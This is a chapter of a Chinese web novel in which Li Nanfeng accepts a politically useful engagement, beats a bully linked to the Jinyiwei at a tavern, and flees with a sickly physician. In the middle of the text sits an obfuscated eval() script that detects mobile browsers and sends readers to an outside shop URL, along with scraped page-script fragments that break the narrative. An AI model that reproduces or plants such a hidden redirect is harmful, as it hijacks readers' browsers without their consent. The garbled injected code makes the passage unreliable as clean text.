听到“对不起”三个字,裴璟再也受不了了,他这一辈子,第一次听李南风和自己说对不起。一直以来高高在上的李南风,如今瘫倒在自己脚边,诉说着对自己的爱意,此时他若再提造谣之事,就真的不是男人了。
他心中暗暗发誓,今后再也不会提起此事,既然李南风真心喜欢自己,那自己就应该拿出男人的样子,让她风风光光的嫁进裴府。
裴璟扶起李南风,用袖子帮她擦着眼泪,温柔的说道:“南风,你的心意我明白了,你放心,这件事情到此为止,你没有错,错的是我那悔婚的父亲。你放心,我今天就回去和父亲说清楚,十日内必来提亲,你且在家里等我。”
李南风强忍着眼泪,点了点头。
裴璟就这样高高兴兴的离开了。
等裴璟走远,李父和李南天才回过神来。
从看到李南风眼泪留下开始,他两就目瞪口呆的退到一旁不敢说话,努力回想着今天太阳是不是打西边出来了。
李父开心的竖起大拇指:“南风啊,你真是有两下子,这裴璟刚刚来时还有些严肃,这会就完全变了个人。
李南天看着妹妹,有些心疼,他知道妹妹今天说的并非真心话,但既然妹妹决定这么做,自己也会支持。
李南风独自回到房间,闷闷不乐,双儿知道李南风不喜欢裴璟,刚才的所作所为都是为了家里,不禁为李南风抱不平。
李南风却说自己一辈子受到爹娘和哥哥爱护,如果这门亲事可以帮到他们,也算是自己的一点心意。
双儿叫李南风出去玩,去找霸天虎,今天不管她想做什么,自己都会陪着她。李南风却笑笑,只说自己累了,想休息。
双儿眼瞧着这样下去李南风非闷出病不可,好说歹说才把李南风劝了出去。
这次她们没有去找霸天虎,而是去了京城最大的酒楼,醉仙楼。
李南风是醉仙楼的常客,刚一到,老板就让人为镇街虎安排好位置。看着精彩的歌舞,品尝着美味的饭菜,李南风的的心情也慢慢舒展,连喝几坛好酒。
正当她和双儿把酒言欢时,听到门口传来争吵声。
大门处歪手斜脚的站着几个男人,他们对面是还躺着一个柔弱书生。从他们的争执中,李南风知道书生因为挡了这几个烂人的路,被他们推到在地。
李南风本不想搭理这些事,但这几个男人对书生不依不饶,又打又骂,老板竟也不敢上前相帮。
“双儿,你说这几个人什么来头,光天化日之下打人,竟然无人敢上前阻止。”
“小姐,你可别冲动,我们最近闯了不少祸,这种不认识的人就不要管了吧。”
李南风坐在二楼雅座,看着书生抱着头求饶,几个男人依然口吐污秽不依不饶,正捏紧拳头暗暗叹气之时,竟和这书生对上了眼。虽只有一瞬,她依然感受到书生强烈的求助之情。
她将手中酒杯一掷,摔碎在带头男子脚边。
几人停下手里的动作,抬头看着李南风:“你是谁?敢管我的闲事?”
李南风背着手漫步走下台阶,说道:“在这京城混,怎么?连你镇街虎爷爷的名号,也没听过吗?”
“镇街虎?哈哈哈,你就是打了张剑那傻家伙一棍子的镇街虎?”顾逸打量着李南风:“看着平平无奇,胆子倒是不小。今天是这家伙挡了我的路,弄脏了我的衣服,我收拾他给他个教训,有什么不对吗?”
李南风让双儿扶着书生坐到一边,回想此人提到的张剑,大约就是锦衣卫副指挥使,这样看来,此人估计也和锦衣卫有点关系。
“嘿嘿,这位大爷,你们教训别人,我管不着,但这里是醉仙楼,你们刚才的动静实在太大,你看这人柔柔弱弱的,你们这么打下去,怕是要出人命,到时候惹来官兵,怕是不好交代。”
顾逸放声大笑:“哈哈哈,你大可去叫官兵来,看看到时候被抓的是你,还是我。你个京城的小混混,说好听点是地头蛇,说难听点就是要饭的,谁不知道你们混混每天就干些偷鸡摸狗的龌龊事,还敢和我提官兵?简直笑掉本大爷的大牙。”
李南风今日本就不爽,原本想着拉开双方即可,没想到这家伙咄咄逼人,口出恶言,于是捏紧拳头,将今日的怒气都汇聚其中,一拳打在顾逸脸上。
顾逸不可思议的看着李南风,他身边的两个跟班想还手,也被李南风一人一拳打落在地。
“这位大爷,我怕刚刚的笑话没有笑掉你的大牙,所以帮你们一把,怎么样?买一送三,剩下两颗牙算我送你的。不谢。”
顾逸左右望了望,后退几步,转身逃了。
李南风带着书生回到雅座,书生连连道谢:“多谢壮士相救,我叫苏衡,是一位郎中,听说京城药材丰富,特来游玩取经,没想到一出门就遇到这种事,真是惭愧。“
“你惭愧啥?”李南风拿起苏衡的胳膊查看伤势:“遇到这样的烂人,不必和他白费口舌,他们都是欺软怕硬,给他几拳他才记得清爷爷姓什么。”
苏衡被李南风一拉,疼得呲牙咧嘴,连忙请李南风放下:“壮士,我是郎中,这些小伤,我回去上药即可,不劳壮士费心了。不过看刚才那人的装扮,看着是个贵人,壮士你要小心他回来报复。”
李南风嗤笑一声:“就他刚才那逃走的怂样,我谅他也不敢回来,况且他听到了我镇街虎的名号,肯定是回家抱着绣花枕头哭去了。如果他再敢在我面前晃悠,我就再送他两颗牙。”
李南风见苏衡一直盯着自己,有些不快,问道:“你盯着我干嘛?你难道喜欢男人吗?”
“不不不,不是这样,我是羡慕你,羡慕你身体健康,活得潇洒又自在,不像我自小体弱多病终日都在喝药。”
李南风听他这么说,心里有些难受,她小时候也大病过一场,知道生病喝药是一件十分难受之事,当时自己为了逃避喝药天天和爹娘斗智斗勇,在家里上蹿下跳,每次都是被抓住后摁住才能把药灌到自己嘴里。但这苏衡居然每天都喝药,真是可怜。
顾逸被李南风打后一路跑回锦衣卫,一进门就找人撒气,看到谁都骂两句,他快步走向大牢去找自己哥哥顾元,直到听到犯人痛苦的喊叫,脚步才渐渐慢下来。他咽了咽口水,额头冒出颗颗汗珠,脚步最后停在审讯室门口。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201732|197212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>审讯室内,犯人绑在刑架上,旁边挂满刑具,前方烙铁冒出的火星噼啪直响,顾元就坐在犯人对面,背对着顾逸。
顾元抬抬手指,一盆水泼到犯人脸上,水混着血滴答滴答落在地上,犯人微微吐气,眼皮半睁着。
顾逸看出哥哥心情不好,不敢上前,只能在门口等哥哥出来。
在一阵痛苦的叫喊声后,顾元起身,一脚踢翻凳子:“看着他,别让他死了,也别让他睡着。”
“哥……”顾逸终于等到哥哥回头。
顾元冷眼看了一眼满脸伤痕的顾逸,径直向外走去,顾逸急忙跟上前,哭诉道:“哥,今天我在醉仙楼遇到个疯子,他上来就打我,还叫嚣着要我们锦衣卫好看,我当时一个人寡不敌众,只能先逃。我挨打没事,可是他这么说,明显是不给哥哥你面子啊。”
顾元停下脚步,顾逸急忙刹车。
“没用的东西,最近皇上要了我们不少人去保护公主,锦衣卫人手不足,你少挑几个人过去看看吧。”
顾逸谢过哥哥,立马挑了10个人杀回醉仙楼。
“一会你们几个守住醉仙楼出口,剩下的人和我进去,一旦找到那人,直接就地正法。”
锦衣卫们面面相觑,副指挥使姜涛问道:“在京城直接杀人,是不是得请示顾头?”
顾逸直接给了姜涛一巴掌,用手指着他的脸说道:“你如果不想死,就听我的好好干,别老是拿我哥来压我。”
顾逸虽然是顾元的弟弟,但并不在锦衣卫任职,因此锦衣卫的人对顾逸虽然不满,但是敢怒不敢言。
姜涛黑着脸,没有说话。
很快,李南风便从窗户中看到顾逸带着几个锦衣卫气冲冲地朝这里赶来。
“没想到这小子真和锦衣卫有关系,现在的锦衣卫怎么竟是保护这些为虎作伥的狗东西。”
“小姐,我们怎么办啊?这么多人怕是打不过吧?”
李南风拿起酒壶和筷子,风卷残云的吃饱喝足,然后拉起双儿和苏衡的手:“当然是跑啊,我们已经惹过好几次锦衣卫了,在惹事怕是真的要进大牢了。”
只见顾逸已经带人守住门口,不顾掌柜的阻拦,气势汹汹地向二楼跑来,她推开窗户,将苏衡拦腰横挂在腰间,和双儿先后跳下一路小跑出城。
苏衡本就身体不好,被这番折腾,顿时觉得身体快要散架,靠着树喘着粗气动弹不得。
李南风见状急忙为苏衡顺气,苏衡颤巍巍指了指自己身上,说了句:“药……”李南风立刻叫双儿去找些水,自己在苏衡身上翻来翻去,总算在里衣处找到药瓶。
苏衡服下药后,慢慢缓过来。
“感……谢壮士相救,下次……如果能跑的慢一点,就更好了。”
李南风有些不好意思:“我倒是不怕他们,不过大丈夫能屈能伸,多一事不如少一事,打得过就打,打不过就跑,没什么丢人的。对了,你住哪?我送你回去吧。”
众人来到苏衡郊外的宅院,李南风笑着感叹:“苏兄原来是有钱人啊。”
李南风望着这大大的金字门匾:“但是为什么写的是梅府?”